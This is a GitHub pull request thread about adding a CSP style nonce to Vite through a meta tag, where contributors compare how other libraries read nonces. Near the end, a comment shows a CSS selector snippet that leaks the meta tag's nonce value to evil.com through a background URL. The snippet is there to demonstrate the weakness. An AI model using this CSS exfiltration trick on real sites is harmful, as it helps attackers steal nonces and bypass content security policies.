vite icon indicating copy to clipboard operation
vite copied to clipboard

fix: add style nonce to comply with content security policy (fix #11862)

Open justin-tay opened this issue 2 years ago • 11 comments

Description

Fixes #11862

Additional context

Unlike webpack there's no standard convention for where to get the nonce value from. For instance webpack style-loader will get it from window.__webpack_nonce__. Setting the nonce in a meta tag seems to be a cssinjs convention. See https://cssinjs.org/csp/?v=v10.9.2 but I also seen it used in https://github.com/marco-prontera/vite-plugin-css-injected-by-js.

The actual server that is serving the html file and generating the CSP headers is responsible to generate or rewrite the nonce placeholder value in the meta tag with a random nonce.

The project at https://github.com/justin-tay/vite-csp-issue can be used to see the issue and the fix.

I'm not sure how to add a test case for this. I have added a test to the css playground.


What is the purpose of this pull request?

  • [X] Bug fix
  • [ ] New Feature
  • [ ] Documentation update
  • [ ] Other

Before submitting the PR, please make sure you do the following

  • [X] Read the Contributing Guidelines.
  • [X] Read the Pull Request Guidelines and follow the PR Title Convention.
  • [X] Check that there isn't already a PR that solves the problem the same way to avoid creating a duplicate.
  • [X] Provide a description in this PR that addresses what the PR is solving, or reference the issue that it solves (e.g. fixes #123).
  • [X] Ideally, include relevant tests that fail without this PR but pass with it.

justin-tay avatar Jan 31 '23 11:01 justin-tay

Thanks for the PR @justin-tay! I added it to be reviewed in the next team meeting.

patak-dev avatar Mar 21 '23 09:03 patak-dev

@patak-dev I'm wondering, what was the result of the team meeting? :bulb:

dargmuesli avatar Aug 28 '23 23:08 dargmuesli

We briefly touched on this and there was a positive consensus to add the feature. But we're unsure what is the proper convention to follow. It is still up for discussion. It would be helpful to get a more detailed list of projects using the proposed convention and alternatives.

patak-dev avatar Aug 31 '23 05:08 patak-dev

The libraries I've seen generally fall under the following categories

  • Gets from tag attribute
  • Gets from global variable
  • Function parameter

Having the value in the meta tag attribute makes for a convenient starting point to retrieve the nonce value generated by the backend to set in the rest of the libraries since sometimes you end up with more than one library.

Library Type Notes
CSS-in-JS Gets from tag attribute <meta property="csp-nonce" content="%NONCE_PLACEHOLDER%"/>
Styled JSX Gets from tag attribute <meta property="csp-nonce" content="%NONCE_PLACEHOLDER%"/>
Webpack style-loader Gets from global variable window.__webpack_nonce__
Styled Components Gets from global variable window.__webpack_nonce__
Stitches Gets from global variable window.__webpack_nonce__ fallback to window.nonce
Emotion Function parameter const cache = createCache({ nonce: cspNonce });
Goober Workaround Reuses tag with id _goober. So pre-create the style tag with the nonce. <style id="_goober" nonce="%NONCE_PLACEHOLDER%" />
Angular Gets from tag attribute <app-root ngCspNonce="%NONCE_PLACEHOLDER%">
Angular Function parameter bootstrapApplication(AppComponent, { providers: [{ provide: CSP_NONCE, useValue: globalThis.myRandomNonceValue }] });

justin-tay avatar Sep 13 '23 02:09 justin-tay

This is a good solution to Vite's lack of strict CSP support. What do we have to do to move this along?

realrunner avatar Sep 26 '23 18:09 realrunner

You absolutely should not set the nonce value in any attribute other than 'nonce'. In this PR you're setting the nonce in the content attribute. This makes it available via non-script methods which makes it more accessible to malicious actors. To read the nonce anttribute value, you actually need js.

see: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce#accessing_nonces_and_nonce_hiding

gregtwallace avatar Oct 31 '23 02:10 gregtwallace

@gregtwallace thank you for pointing this out! You might also want to have a look at https://github.com/vitejs/vite/pull/14653, in case you haven't yet :raised_hands:

dargmuesli avatar Oct 31 '23 03:10 dargmuesli

Thanks! I just popped over there actually. I think these two ideas together are the ideal solution. I left a comment over there. :)

gregtwallace avatar Oct 31 '23 03:10 gregtwallace

You absolutely should not set the nonce value in any attribute other than 'nonce'. In this PR you're setting the nonce in the content attribute. This makes it available via non-script methods which makes it more accessible to malicious actors. To read the nonce attribute value, you actually need js.

see: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce#accessing_nonces_and_nonce_hiding

I was quite curious if this was true, considering that setting the nonce in the content attribute is used by the somewhat popular CSS-in-JS library. While it's not the easiest thing to exploit, it does look like it's a vulnerability as opposed to using the nonce attribute.

:has(meta[property='csp-nonce'][content='whatever']) ~ * {
  background: url('https://evil.com/nonce?whatever');
}

justin-tay avatar Oct 31 '23 06:10 justin-tay

Is this still open or has it been abandon due to the conflicts ?

ricred avatar Dec 15 '23 09:12 ricred

@ricred a better approach was drafted, but still not released, by a team member in PR #14653

ghiscoding avatar Dec 15 '23 15:12 ghiscoding